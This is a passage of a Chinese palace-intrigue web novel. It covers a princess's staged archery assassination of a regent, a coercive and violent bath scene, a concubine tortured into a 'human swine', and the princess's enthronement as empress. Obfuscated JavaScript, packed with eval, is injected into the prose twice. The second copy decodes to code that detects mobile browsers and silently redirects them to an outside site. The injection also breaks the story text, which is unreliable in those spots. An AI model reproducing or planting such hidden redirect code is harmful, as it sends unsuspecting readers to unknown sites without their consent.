只有少数人还盯在登令楼上,瞧清楚金簪胸背前后得两只巨大的金色羽翼,以及那根如同她另一手金钗的金箭。但是,他们依然认为这是她的另一只长钗。因为金箭的尾羽都是金色。 两杆“金钗”一直一弯,如同金簪胸前、后的大翅,仿佛已被主人震响,将她承托而起,只待飞扬九天。 在众人的注意被纱衣引走那刻,背对的金簪已经将金色长箭顺舞入掌心。旋踏间,她顺鼓声急舞。 这是金簪练习千百回在宫楼上避人耳目之法,由祁缙云、莺歌、季飞扬等一起联合四角定下的舞蹈杀招。 千钧一发际,长钗似挽弓、透明丝带化弦,金箭为矢。 金簪背对天下人,在众目纷杂下,一只金色利箭直射高台上的风子鸾。 “啊……”人群中有人眼尖看见一道金芒射向高台,发出一声急促的惊呼。 宫楼上的人因斜阳直射,或撇脸或侧头,或追逐罩纱而去,大都看不分明。 危急之刻,一名落满眼泪的宫女跨身一挡,急呼道:“太宰小心……啊……” “刺客,有刺客……”高楼上的辛无疚急喊起来,虎贲军开始行动 鼓声如雷,金簪的舞没有停,红丝飘扬随翅而展。 城楼下的少年痴痴地看着那双大明金翅,古书中寓意为“明君”之意。彷如她就是神女登临天下,欲重开盛世繁华。 “这……就是太女……她怎么可以……”这么高贵,这么不凡? 凌云的双眼发直,不自觉地欣起唇角,被突然出现的季飞扬一把扯近墙下。 “你小子怎么回来了?”季飞扬看着哄闹一团的宫墙上,伴随鼓声减弱,一切纷乱开始明显起来。 “我想知道筒弩……呜……”凌云被捂住嘴,拿眼直瞪季飞扬。 “快走,要乱了。”季飞扬一把架起凌云,将他放在肩头。在周围禁军搜查、风瑶骑兵包圆外围街道前……步出西宫门广场。 “刚才的金芒箭矢,她要杀上面的人?”凌云覆在他耳边低声道。 “杀太宰。楼上的人因逆光看不清楚,她又用罩纱引走百姓的目光,背对人群,所以楼下的人也不甚分明。两侧下面的人就不好说,军仪和虎贲军、宫侍宫女在墙头,虽距离颇远,但也不好说……哎,这都不重要。 我不理解,有人替姓风的挡箭。若我没看错,那个人应该是……是她宫里的女官。” 季飞扬的脑子里一片浆糊,将凌云放在欢喜楼外,急声道,“这里是风子鸾的地盘,你先进去坐一会,等到外头静下来,才可以出来。记住,千万别回府。” “为什么?”凌云去抓他,却发现他像风一样卷出去。 西宫门外的广场上,人群终于乱了。 风瑶骑兵逮住形迹可疑之人就抓起来,反抗者就地正法。 一旦出现鲜血,人群开始踩踏哄闹,京都司徒府衙为百姓说话,却被风瑶骑兵的人直接砍伤。 喧嚣哄闹声震天,只有零落的鼓声在响起。 祁缙云的眼泪滑落下来,他知道这一行动,却无法原谅另这么多无辜人卷入其中的自己。 城楼上,有人惊叫,有人哭喊……混乱中,轩辕帝被韩丹和辛无疚急送下宫墙。 轩辕皇后朝身边的掌宫姑姑使眼色。宫妃随皇帝下城楼,有人将月舒绊了一下,导致公主轩辕金香和月舒一起滚落下石梯,撞在前头紧跟皇帝的丽妃和皇子轩辕金骧脚跟,连带轩辕帝都向前扑去。 下楼口一片哄乱。 此时的宫墙上,南叶躺在风子鸾的怀里已经进气少,出气多,看起来奄奄一息。一只金色的长箭穿透她的甲骨,刺破风子鸾的外袍,露出金丝护甲的颜色。 这就是普通刺客杀不死风子鸾的原因。这是玉鸢在离开金宫前,私见金簪时透露的秘密。 风子鸾身穿金色护甲,护脖子护身,刀枪不入,无法行刀剑刺杀之举。 南叶因疼痛而用力的长甲掐进风子鸾的手掌,扣出一丝皮肉血沫。 “别怕,本宰一定救你。”风子鸾并不在意这点连小擦伤都算不上的血丝。 他活了大半生,先前吃苦后来发家,多得是人辱他骂他嫌弃他,也有人求他畏他爱他,唯独没有人替他挡箭赴死。 感动之余,他也恼恨今日数度被行刺之事,直接令风瑶护卫:封禁全城,只进不出。捉拿刺客,可先斩后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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昏昏沉沉的南叶迷糊喊道:“殿下……殿下不要登楼……求陛下成全……” 这句话是为了昏迷时不露馅,她已练习不知几千几万遍了。 风子鸾瞧这阵仗,上前拂开高苗。 他揽住南叶,从怀中取出一把削金断玉的好匕首。他以此匕首,用力地一划拉,金箭断成两截。 金子偏软,容易被断。 高苗上手握住穿透身体的断箭,暗吸口气正待拔出,被风子鸾一把按住。 风子鸾没看高苗脸色,朝怀里面无人色的南叶低声道:“本宰亲自替你拔箭。如若你能活下来,此后荣华富贵任你取用。高廷之,你来,准备好了?” “是。”高廷之令高苗将止血药、伤药,棉布等备在手边。 风子鸾暗吸口气,握住箭镞一端,猛得往后一拔。断箭随血水奔涌而出。 “啊……”南叶在迷糊中都感受到莫大的疼痛,双眸怒睁后彻底昏过去。 “金箭?”风子鸾握着拔出的半截箭矢,抚摸尖头的精钢箭镞,冷笑道:“箭杆纯金,可令射手大力而不断杆;箭身中空,可减份量、射程更远,起码五十丈开外的射程。 来人。速查距离宫楼五十丈内外的可疑人士。另外,搜捕京官府邸,给本宰找出那个大量出售金子的人。” “喏。”又一护卫领命而去。 “伤口的血水在变慢渐少,太好了。”高苗欣喜道。 “好。果然是命大之人。”风子鸾都笑了。 待金簪的鸾驾回到天机宫,正见风子鸾居于正殿上座。她的目光落在他结痂的小伤口,披上杜鹃拿来的罩衣,垂眸躬身道:“太宰。” “太女回来得正好。有一事,本宰待与你说:风瑶骑兵调查得出,箭矢从你那边飞来,可有见到什么人在人群中射出金箭?” “……孤……一直用心舞蹈,未曾察觉。这……怎么……刚才宫楼上混乱,难道不是父皇计谋得逞、笑而离楼?莫不是……有人行刺?”金簪的双眸微红,懵懵地看向杜鹃。 杜鹃声泪俱下,哭诉道:“南叶上宫楼替殿下求请……谁知飞来横祸,南叶为太宰挡箭,此刻生死未卜。” “南叶……呜……南叶……”金簪疾步去寻,被上前的风子鸾拦住。 她面上的肌肉忍不住轻弹,带点惧怕和惶恐道,“太……太宰?” “太女在登令楼上豪言壮语,岂有如今惧色?”风子鸾怀疑地看着金簪,凝目在她的发髻金钗,又落在她胸前若隐若现的金色花纹。他伸手一掀,将披在金簪身上的罩衣掀落。 “啊……”金簪一把搂住胸口,被杜鹃抱了满怀。 【呵,男人!】 杜鹃厉声哭喊道:“太宰大人,殿下为此事哭了好久,便是想出此法挽回一点名声而已啊……呜呜呜……殿下……” 风子鸾的目光从那金色的羽翼花纹上收回,冷笑一声后恢复平静的眼眸。他沉沉道:“太女,好生养着你的掌事宫女南叶。来日本宰迎她入府为妾。 哈哈哈……”他大笑着跨步离开天机宫。 金簪在杜鹃的怀中侧身,冷冷地盯住他的背影,直至人消失。 她推开杜鹃,任由袒露的肩和大半的前胸暴露在光下,侧眸道:“南叶呢?” “在偏殿。” 金簪闻言,疾步而去。 入殿后,闻得高苗说有救,金簪心下一松,垂目落下泪。 她背过身去,缓缓道:“请高医女竭力救治她。无论用何药。” “喏。”高苗应下。 此时,高廷之已跑去乾明殿,看望轩辕帝。 这夜,京中人心惶惶,无数人被抄家罚没家财,不少人横死街头。 太女金簪仿佛高贵的神女下凡,也是将京都陷入地狱之境的魔女。 凌云趁夜色回到凌府门口的长街,被季闲给抓过去。 两人躲在角落,看见殷罗、掬梅等一干家人被风瑶兵带走。 “呜呜呜……祖父……”凌云使劲得踢打季闲,却无论如何都脱不得身。 他呜呜地叫唤起来:“祖父,我的祖父呢?” 此时的凌飞刚步入天机宫就被禁军护卫抓起来,被送入司寇刑狱。 31. 登基 夜色深浓,本该乐闹的上元佳节人人自危,深怕风瑶兵破门而入。然而,一声声嚎哭在京城四方响起,有人就此再出不得声。 凌云趴在内房门口,偷听外堂人的谈话。 季闲朝下属问道:“少主还没回来吗?” “没有。他……好像入宫了。”属下回道。 季钊明背负长弓,迟疑道:“如今京中遍布巡逻和暗探,要不属下去寻少主?” “不必。今日刺杀失败,又折损天师道教众,我们得罪两方人马。他入宫熟稔,可探听点消息回来。凌府那边被抄封,得想办法救殷罗等人出来。” 季闲握拳道,看向季钊明,“你先将我们的人潜藏在暗道,暂时不与天师道人接触为妙。风瑶兵搜到此处小院是迟早的事,我们得早点准备,返回月罗府。” “太好了,潜伏这么多年,打通月罗与京都的暗桩通道。这番终于能带少主回去了。”季钊明兴奋道。 “主上,不好了。凌老爷没能出宫,看来是被……扣下了。”季成也是季氏下属,疾步进屋道,“风子鸾也没出宫。” “麻烦了。凌老哥真是太固执,将他困在府内也能跑出去,哎。这样……你们看好凌云,我去寻飞扬,与他探一探这宫里的底。另外,你们随时准备离开京都。”季闲说完趁夜色出府。 余下人着手去准备,各忙各事。 凌云瞪大双眸、捂住嘴巴,靠在内房的门口。他捏紧左手袖内的箭筒,死死地咬住唇齿。 【月罗府?暗桩。季师父和飞扬,竟然……欺骗祖父?不对,太女要刺杀风子鸾,为何带上祖父?她不知道一旦失败,所有同她一个阵营的人都会遭殃吗?季师父、飞扬是在为太女做事?不像。他们究竟是谁?月罗府……月罗道府,秦连长墙最南端的偏隅道府,接壤荷卿道府,处于胜争道府旁边。那……天师道又是什么?】 “祖父……祖父……云儿要救你。” 后半夜,季钊明和季成前来带凌云下地道,却发现他不在房内。 季成狠狠得将巴掌砸在桌面,恼道:“他之前可能在装睡,偷听我们的谈话后跑去找凌大人。” 季钊明也无奈道:“这孩子真是不知轻重。” 季成心下赞同,面上提醒道:“他很重要,制作的机关弓弩乃是战时重器。主上和少主选择凌府,是存着凌大人与司马杜家有一层姻亲关系。如今,凌云是杜氏鲁工传人,必须得寻到他带回月罗府。 这样,你我分头去寻,我去凌府,你去司寇府衙外观望。 若是天亮前未找到人,我们就都回来。” 季钊明颔首:“好。” 两人疾步出院,避开踢踏作响的风瑶重兵的巡逻,四下寻起凌云的踪迹。 然则,在两人离开小院时,凌云从床榻下快速地窜出来。他看着半开的房门和幽深的夜色,耳闻街面传来抓人的呵斥声,闭目间落下一行泪。 “骗子。” 他喃喃地吐出两字,拖着早前往东都去的包裹,闯进浓浓的夜色。 ** 天机宫内,金簪彻夜不眠地坐在大殿等消息。 夜似乎格外漫长。 杜鹃入殿禀道:“殿下,奴婢已帮南叶将指缝都清理过了。” “好。接下来就是等。这期间,孤的人一个都不能出事。”金簪刚松口气,就见沈长清疾步入殿。 “殿下,不好了。司寇寮那边不放人,说是今日欢喜楼刺杀风太宰的人供出凌大人府上的季闲父子。司寇衙的人将凌大人府上的人都抓了。”沈长清的面上难掩焦色,走近几步道,“我问了司寇寮曾经帮助过风宜游的小吏,说是太宰没有怀疑殿下。 今日南叶在宫楼上救过太宰,赢得太宰的信任。 南叶是殿下的贴身宫婢,也是掌宫姑姑。太宰将怀疑殿下的幕僚痛骂一顿,还说殿下肯定不知凌大人的阴谋。” “言下之意,风子鸾要杀凌少保。他们两人往日就有仇,如今怕是过不了今夜。凌少保怎么成为这件事的幕后者已经不重要,风子鸾一旦起杀心,必不会放过他。” 金簪从惊诧到怀疑,喃喃道,“此前,孤明明同季飞扬说过,不让他暴露身份。为何欢喜楼那些刺客知道季氏?这中间唯一会出纰漏的环节只会是西教坊楼上的神射手。而季飞扬也答应过孤,找得是可信之人。他……莫不是有事瞒孤?” 金簪思虑全部的计划,一时心神巨荡。 她拒绝杜鹃的搀扶,往后坐在桌案。 闭目沉心间,金簪再次睁眼看向来回踱步的沈长清,咬牙道:“现今只有一个字,拖。拖到风子鸾不良于行,才有机会救出凌少保。 另外,少傅大人,请再去趟司寇寮。若是能接近凌大人,需弄清楚凌云在哪里。 他,乃是孤西征六府三城的希望。” 沈长清颔首道:“微臣明白,这就前去打探。” 金簪手捏空拳,低首见到胸前的金纹,起身道:“先去沐浴,孤要连夜见母后。” “喏。”杜鹃赶紧安排,将金簪送入浴池。 金簪没闲心慢洗,拿湿布重重地擦拭身前的金纹,背朝杜鹃道:“高医女留下一盒膏,可以除去金纹。你将孤后背的金纹一起擦净。若是母后见到这些,恐怕一句话都不会听孤说。” “太女殿下想向皇后说什么?”季飞扬趁杜鹃离开这段时间,跃入汤池殿。 他幽暗的眸光盯在水气缭绕的中央,若隐若现的如玉后背上的金纹羽翼似随水汽在浮动。 心中生了遐思,滚至喉口,他遏制不住地发出声质问:“为何?” 金簪的手浮在水面,侧脸背对他,沉目若渊:“出去。” “出去?”季飞扬候大半夜,终于等到这个无外人在的机会,怎么可能出去? 他拾起木盘上的锦帕,用浴池的水打湿后抚摸上金簪的后背金纹,另一手缓慢用力地揉搓在她纤长湿漉的脖颈,仿佛回答不好就能要她的命。 金簪忍不住颤了下,心知他要一个解释。 季飞扬察觉她的身体在发抖,在水汽缭绕中似孤立在江河上的一叶扁舟。 然则,这个骗人的狼女有什么值得人怜惜呢? “你这一出真是用心。为何你的宫女替风子鸾挡箭?明明我们都计划好了。或许,这就是你骗取风子鸾信任的计划。我和凌祖父一家、乃至那些刺客都不过是你手中玩物。” 金簪感受他那烫热的手擦过颈项,游走在后背的金纹。 她的气息骤然急促,被季飞扬猛得一把拉扯住头发向后仰。 金簪被迫伸长脖子,低呼道:“啊……”她仰面看向水汽都遮掩不住的愠怒眉眼,咬牙间撩水扑季飞扬满脸。 趁季飞扬眯眼的空挡,金簪一拽他拉头发的手,将人也拖入浴池。 金簪翻身骑在季飞扬的身上,将人扣到浴池的边沿,切齿道:“为何欢喜楼的刺客会供出你季氏父子?” 季飞扬的手松开她的长发,一手掐紧她的脖子,一手揽在她纤细的腰肢。 一个什么都不穿的女子,敢肆无忌惮地问话,不就仗着面前人的喜欢而不担心为所欲为吗? “因为我喜欢你,你就可以骗我?” 季飞扬忆起今日之前,两人是那么的亲密无间,只差捅破最后一层纸,光明正大地进入她的身体。 现在,不是最好的机会吗?她什么都没穿。 “呵呵呵……真是好笑,我竟会信你,害了我凌祖父、梅姨、殷罗姑姑她们……” 脑子、心、身体好似成为三方角力者,一点点得有了它们自己的想法。 金簪松了扣住他肩膀的手,反被他猛得一拽撞入怀中。 她一拳砸在季飞扬的肩骨,听到闷哼,想着往日从莺歌那得来的经验,试着服软解释:“风子鸾身穿金丝护甲,不仅他的上身、脖子,连腰腿都护住了。他的官帽檐前后也有防护的。 即使神射手,在这么远的距离下,都无法保证射穿脸部要害。” “你早知道,为什么不说?”季飞扬瞧着冷静的眉眼,一把捏紧她的下颚,将人提上水面。 池水随两人的动作荡上池边沿口,发出摆浪之声。 金簪被这样提扣着下颚非常的不舒服,双手捏在他的双臂,想要反抗又为大事而隐忍。 她艰难道:“这是……后宫的丑闻。民间尚有家丑……不可外扬之说,孤如何能将这么私密的事说出来?” “啊……” 金簪被季飞扬猛得一提转,身体伴随水浪撞在浴池的上沿。 因水的浮立,她的上半身几乎都在池面。湿热的气息敷爬在后背,像是被一条可怕的毒蛇盯住了般。 季飞扬压在她裸露的后背,低首亲吻后背的金纹羽翼,湿漉冰凉,像是在亲吻蛇的肌肤。 他的心中一片复杂和苦涩,嫉妒……无妄的遐想、迷惘的未来充斥他的心眼,以至于令他口不择言道:“你知道这些事。他……碰过你。” “季飞扬……”金簪咬牙怒喝,转身要打他,反被压得更严实。 在这样争吵情形下,她甚至发现了他勃然而起的欲望。 “你有什么不会做?花纹都绘上你的腰肢了,谁给你画的?你的胸前也是如此吗?”季飞扬冷眼看向被扣在池边发出闷哼声的痛苦金簪,双臂用力,将人一个劲巧翻过来。 四目相对,金簪的眼中好似在说:你敢? 季飞扬的脸颊肌肉抽动,露骨的目光往下移,从颈项的金纹流转至饱满的双峰,粉嫩的梅花缀在金纹之中,像是在诱人采撷。再及柔软如无骨,一手可握的腰身…… 心在快速且狂热地跳动,他下意识吞了口水,目光强行上移,对上她好似鄙视的眼神。 季飞扬喉口微哽,强作凶狠道:“说啊,为何让宫女给他挡箭?你不是神射手,但以你的力量也能给他造成伤害。” “你怎么知道我就能射中他的脸?若是射不中呢?我身边的所有人都要为此死去吗?”金簪低呵着,再挣了下箍在腰间的大手,便是扣住她双腕的手也一点脱不得出。季飞扬用了极大的力量,甚至内力在控制金簪。 她对他的隐忍已至极限,“季飞扬,你放开孤。” “事已至此,人没死,活的好好呢,还抓走了凌府一干人。如此,我来拿回属于我的东西,没错吧?”季飞扬的目光猛得下移,落在她的红梅,俯首间狠狠地咬下去。 “嗯……啊……”金簪痛得浑身哆嗦了下,好似有温热的血水滑入池中。 她再也忍不住,仰首用力,猛得向他的脑袋撞去。 “啊……”季飞扬被他用脑袋撞了下,牙口一松,被金簪的大力挣了出去。 金簪一脱身,扬水迷他,转身向池岸上爬。 然而,季飞扬一把抓住她的脚踝,一提劲力,将人重新转滚回池内。 “啊……” 金簪不会浮水,被他压着沉入水下。 两人在水底又揍又咬,搅得池水翻涌,发出大浪声。两人谁也不肯服软,终因差点溺水,才浮出水面。 金簪狼狈的趴在池口,“嗬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059958|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗬”地喘息。 她恶狠狠地盯住换气的季飞扬,扬起湿红的脸颊,冷笑道:“季飞扬,你不过是个脱不得色欲的混蛋。欢喜楼的刺客为什么见过你?孤不是说过,他们不过是饵,让你不要亲见吗?” 季飞扬张口,却无法解释说“那是天师道人”。 他撇开眼,冷笑道:“饵不是命?为你卖命的人都可以随时去死,对吧?” “无理取闹。”金簪一摸胸口,摸到点点齿痕和血水。她恨得又瞪了他一眼,一巴掌打去,将水扑他一头一脸。 “你……”季飞扬抹把脸上的水,咬牙间瞥见她心口的齿痕,眨动了几下眸光,颇有些理智回笼后生出的负疚感。 他撇开脸,嘴硬道:“你得救出凌祖父。不然……” 季飞扬的目光再次闪了闪,空气里的潮湿和寒冷让他冷静下来。 “不然如何?凌飞是孤的人,孤自然要救他。何况,连累凌飞被司寇衙抓捕,不正是你季氏父子吗?季飞扬,你有事瞒孤。” 金簪本想彻底告诉他全盘的刺杀计划,如今想都不想再提。 她用力爬上池岸,就那样赤身立在季飞扬的面前,高挺着上身,骄傲地俯视他:“你敢骗孤,孤这辈子都不会让你得到你所想要的。滚……” “轩辕金簪,难道你就没有事瞒我吗?”季飞扬一跃出手,再去抓金簪,被她旋身躲过去。 金簪一扯架上轻纱,披在身上,狠声喊道:“来人。” “你……够狠。”最毒妇人心。 季飞扬听到门外动静,狠狠地瞪了金簪一眼,转身离开汤池。 杜鹃疾步入殿,见着狼狈的汤池地面,再及不远处打开的窗户。她心吓一跳,忙去关窗,回身跪下道:“殿下……奴婢该死。” “为何离开?”金簪侧眸,厉声道。 “除纹膏落在舞凰殿,奴婢去拿药膏。”杜鹃拱手将怀里的药膏递上。 金簪绷紧的心弦一松,走向一旁的锦凳,随后坐下。 她无力般道:“无碍,你过来替孤清理干净。夜长梦多,孤要即刻去见母后。” “是。”杜鹃起身上前,取出高苗配置的除纹膏,涂抹在金簪的身体金纹上面。 绘制金纹的药水特殊,但是在这药膏下很快溶解成为金液。 金簪低首看向前身上的花纹淡去,想起昨夜喊祁缙云构图、莺歌图色的场面,忍不住苦笑了声。 “原来……这就是求而不得。呵……” 金凤宫里灯火通明,金簪一直从鸡鸣时跪到平旦。 轩辕皇后根本不见她,只因舞服和出言不逊一事,想要给金簪一个教训。 日出时,轩辕皇后得到乾明宫传来的消息,这才起身步出寝殿。她俯视跪着的金簪,冷笑道:“你要本宫救谁,凌飞?呵……轩辕金簪,你拿胜争螺黛说事时的样子,当本宫是什么?这会知道来求本宫,本宫又拿什么救他?” 她面对仰起脸望来的女儿,那双如墨似渊的眼睛长得越发像轩辕夏。她再也忍不住,狠狠地向金簪打去一巴掌。 金簪的脸歪在一侧,舔了下齿口。她摆正脸,跪直身道:“母后今日不戴护甲?” 轩辕皇后躬身,直视这个脱离掌控、对母无敬的女儿,冷笑道:“轩辕金簪,你是本宫所生,你什么性子本宫能不知道? 今日本宫就告诉你,没了本宫,你什么都做不成。 来人,给本宫梳妆,召风子鸾开大朝会。今日,本宫要临朝。” 金簪猛地仰起头,跌撞地站起来。 轩辕皇后背对她,冷声道:“跪在本宫这里求方法,不如回你的天机宫守着你的位置。燕地的兵马不日就近京城,你的父皇在这人心惶惶之际,带着他心爱的子女刚刚……东逃了。” 金簪的眸光巨震,扶着杜鹃的手,疾步往天机宫奔去。 偌大的朝堂上,不见帝王,唯有帘下的皇后,以及御座前的太女。 至于轩辕帝,于日出前领几个亲信,由辛无疚护送往东都而去。这一次,他不仅没有通知百官,就连受伤的月舒、丽妃都没带去。 而这两位宫妃,已于皇后上朝前被下令做成人彘入瓮。 此刻,风子鸾立在堂下,手持一封圣旨,冷笑了声。 “本宰二十二万骑兵一旦听到帝王东逃,无主守城。呵……太女殿下,不如……称帝,振人心。” 此言一出,底下一片惊恐、诧异、不理解、蹙眉的神色,也有喜出望外、震惊语塞的官员。 金簪疲累的双眸猛得一撩,看向下首的风子鸾,好似听错了般,惊异道:“太宰?” “紫琴君带帝王、皇子金骧、公主金香二次东逃。今晨四辅官员也跌跌撞撞而去。如此情形,京师面对北延四十万大军,不战而降,岂不可笑?但是,若要战,京都又以何名御敌? 今日帝王东逃,过数个时辰后,京都百姓、富贾皆会知悉,随之东逃。不如……称帝守城。” “不错。本宫赞成。”轩辕皇后从珠帘后走出,立在高处俯视一众不敢言的朝臣,“陛下东逃,成天下笑话,不利军民一心守城。此时,扶持太女登基,名承正统,声护军心。众卿以为如何?” 百官互相瞪视,再及扬眸赞成的太宰,纷纷拱手道:“吾等……见过女帝陛下,陛下万岁万岁万万岁。” 金簪忍不住咧开了嘴,在轩辕皇后直视而来的目光下,收敛外放的情绪。 她的心跳得比与季飞扬恋爱、与他水中争执时还要快。她扬起下颚,高声朝众人道:“平身。” 32. 金平 大周祭天台。 金簪身披白底绣金纹龙凤的皇袍高立天坛,接受太宗寮的告文礼,随后在午时日光之下,向天、百官、万民行揖礼,同时接受百官、京都百姓的跪礼,正式受天命为大周女帝。 女帝五行重金,尚白。遂而,此年开始,金宫尚土的黄色都将被白色取代。 风子鸾接过百里加急而来的玉玺、碟印,以及代表周天子的轩辕短柄枪,先后奉给女帝。 在太宗寮的撰文下,金簪耳闻女帝年号为“平”,加上金簪名字中选取的“金”字,视为“金平”年。今为,金平元年。 然则,轩辕帝未退,依然是夏夔二十五年。这一年,大周有两个年号。 距离朝堂宣布登基至今不过五日,大礼由繁化简。 然而,金簪不在乎,因为再过半个月不到,风子鸾就会因体内的毒而生不如死。 此后,大周的天下、权势,将彻底回到轩辕氏的手里,也就是轩辕金簪的手中。 此刻,金簪仰面迎光,立在天坛,露出微微的胜利笑容。 风子鸾扬眸看着这位年纪轻轻的女帝,只凭她身体内的轩辕血脉就能登临天峰,而他一个实权太宰却只能屈居其下。 这一刻,他有了取而代之的想法。 女帝和太宰对视间,互相一笑,迎接百官见礼。 礼毕后,风子鸾随金簪回勤政殿,商议起迫在眉睫的战事。 “微臣打算亲自带领风瑶兵在京都外迎战慕容涛,届时,陛下登楼以振军心。”风子鸾见天子不跪,昂首说道。 金簪扯面皮,微微笑道:“理应如此。不过,风子棋是不是还在海宁道府?” 风子鸾的眼神微眯,突然道:“如若陛下要坐稳现在这个位置。那么,司寇刑狱里的凌飞必须得死。” 金簪的面色骤然一沉,垂目时捏紧袖内的拳头。 【是啊。他都可以从帝皇车架上搞来真玉玺和轩辕枪,有什么是他不敢?以凌飞之事提醒朕,若朕反驳他或提出异议……便是…… 混账。】 风子鸾紧盯轩辕金簪,讥笑中带着藐视道:“陛下登楼,军民人心振奋,定能抵御敌寇。咳咳……殿下无需做多余之事。另外,子棋若从海宁回来,本宰会让他入宫见陛下。回京之日,即是陛下与他完婚之夜。” 金簪的胸脯震动,怒而不能言。 此时此刻,她方才知道,登基并不能让她脱离风子鸾的掌控,唯有这人当真不在,这大周的天下、军权才有可能由她说了算。 【轩辕金簪,不要急,已经过去十天,快了……快了……再等等……】 “太宰说得是。风将军品貌具佳,实为朕的佳偶。”金簪咧唇,掀齿道,“……朕今日登基,理应大赦天下。不妨将凌少保一家送归府邸,太宰以为如何?” “呵呵……本宰已经查到,季闲乃是前风瑶守将,其子极有可能是勾结西戎的逆贼季忠明之后。 陛下,此二人居住在凌飞府上数载,在京中活动频繁,勾结南面天师道行刺。这等祸国乱臣留之何用?”风子鸾近前一步,俯首逼迫金簪道,“此事还需禀陛下,明日午时,本宰要利用凌飞一府钓出他的孙儿凌云、以及幕后天师道刺客、季氏余孽。” 金簪的身体立时紧绷,抽着眼角怒看他。 风子鸾桀桀一笑,往后一退,大笑而去。 金簪紧绷的身体一松,泄下防备。 她捏紧扶椅,随后迅速起身,极快往金凤宫奔去。 “娘娘……去了月女宫。”金凤宫的宫女回道。 金簪扑了个空,转身往月女宫跑。她入了这偌大的后宫,进了月女殿,并未见凤驾。 待她转过前殿,听见几声戏谑。 她阻止身后的宫侍跟随,近前观望。 几位宫女、宫侍围住一只大缸,缸里满是黑乎乎的水,中央矗立一个面目全非的露出上身的赤膊女子。 “yue……”金簪转身,张口就吐,胃里的酸水涌上来,折腾的眼泪都掉下来。 戏耍缸中女子的宫侍、宫女惶恐地跪下,伏地轻颤:“陛下……”“陛下饶命。”“这是皇皇……皇后后娘娘的意思……” 金簪在杜鹃的照料下缓过劲,询问几句后示意杜鹃将这些人带下去。 待人跌跌撞撞地离开,她独自站在缸前,看着那仿佛已经死去的女人,目光落在她鼻息前浮动的水面,喃喃道:“人都这样了,竟还能活着?” 缸里的月女侧下头,张开的血口黑洞洞的,滑落流脓的血沫。按时间算,她这状态已经十天了。 金簪仰面深吸口气,上前道:“你……听得见吗?” 迷瞪的月女轻微的点下头。 金簪捂住嘴巴,不让惊讶出声。她轻声迟疑道:“你……想死吗?” 月女再次动下头,随即摇头。 金簪心道:若我这样了,不如死去。 “你放心不下金香公主。” 月女点头,发出一声极其怪异的“啊”,像是从肚腹中爬出来的声音。 “朕答应你,只要她不反朕,朕必不会伤她。即使她反朕,看在血缘的份上,朕也会留她一命。”金簪轻声道,眼见她点头后再次挣出一声“啊……” 金簪揣测道:“朕没有杀过人,但是手上已染血。若你想死,点头,朕帮你。” 这一次,月女迟疑好久,微微地垂下头动了下。 金簪微抬下巴,走近前。 她闻到一股极其难闻的味道,像是桐油,又像是某种腥臭防腐的药汁。她的手按在月女的头顶,想将她压下去,但是月女背后支撑她身体的木棍挡住她下沉。 “原来,不是你不想死,而是死不了。” 月女看不见金簪,最后缓缓地支了下头。 金簪将她后背捆绑木棍的长绳抽松,木棍随她的身体倾斜,月女也缓缓地沉入缸下。 这时,轩辕皇后闻讯后独自步入后殿院内。 金簪听得脚步声,抬眸看向独自前来的轩辕皇后,张口艰涩,什么都说不出来 “这是你第二次看本宫杀人。”轩辕皇后缓缓道,随即嘲讽地笑下,“第一次,你跪求本宫放过那个女人。本宫踢了你一脚,嫌你软弱。” 她走至再没有东西浮出水面的缸前,凝视那一二个稀薄的泡泡,轻笑道,“这次,你替本宫处理这人。簪儿,这个皇宫将你变成同本宫一样。” 金簪张口,真就什么话都说出来。 她想说:这是第三次。第二次是梵阆。 她的手颤抖得厉害,被轩辕皇后拉过去轻轻地抚摸,像是被一只猛兽在碾压般得刺寒。 轩辕皇后将她抱入怀,低声道:“装疯吧。不日,风子鸾退了北延兵,你就是那个他称帝的阻碍。你太聪明又太年轻,城府和谋略都不够这只老狐狸看。他不擅打战但擅玩弄权术。簪儿,你骗不过他。在风子鸾的计划里,凌飞必须死,连沈长清也活不了。” 金簪的腰肢一软被轩辕皇后用力撑起来。 她眨了下眼,张口无力道:“若……他死了呢?”【风子鸾死了呢?】 “呵,凭那个救他的宫婢南叶?她杀不了他。”轩辕皇后笑道,随后放开站直的金簪,轻声道,“丽妃已经死了。余下那些新近的妃子,惶惶不安的,怪可怜的。本宫将她们分作两堆,被享用过得送去风瑶骑兵营劳军,没有被破身得则给他们的太宰,任他处置,怎么都行。这些女人,比你那个南叶有用得多。” “……”金簪垂目落在地面上花白色的鹅软石,上面的坑洼纹路像是人世间的坑。这些坑一点点把旁边的石头也坑撞成一样。 【你只会用这些伎俩吗?但是,朕有什么资格说母后?难道南叶不是在太宰府?凌飞被抓,朕还不是得屈膝跪在金凤宫前……呵,朕有什么资格说母后?】 她快步向前殿走去,离开这可怕的月女宫,逃离这令人窒息的地方。 轩辕皇后回首看向那口黑压压的缸,瞧着浮起来的苍白脸孔,放声大笑:“哈哈哈……” 金簪真得开始装疯,将前来探望的风子鸾当作父皇。 她抱着他,求他不要丢下自己。她指着杜鹃,以及艰难来看望的南叶,喊她们是鬼,月女的鬼魂…… 宫婢在她的榻前哭做一团。 风子鸾没空管凌飞的事,硬是将引出季闲等刺客的计划拖了几天。 高廷之、高苗被他硬逼在天机宫照料金簪。 然则,十天后的这日,春风送暖。 金簪沐浴在春天的日光下,耳闻梵阳疾步来报。 “陛下,太宰晕过去了。但是……”梵阳抬目看眼金簪,低首道,“凌少保已经被押往刑场。” “赶……赶过去。”金簪转回案几前,取出那份早早备下的圣旨。 她将圣旨塞入梵阳的手中,厉声道,“你快赶去。务必救下凌少保满府。快。” “是。”梵阳领圣旨后快步而去。 金簪朝高苗颔首。 高苗点头道:“微臣这就去看望太宰的病况。” 金簪近前,一把握住高苗,如鲠在喉,使劲吞下去。 她压抑畅快道:“不能有万一,不能被查出来。将南叶给孤带回来。” 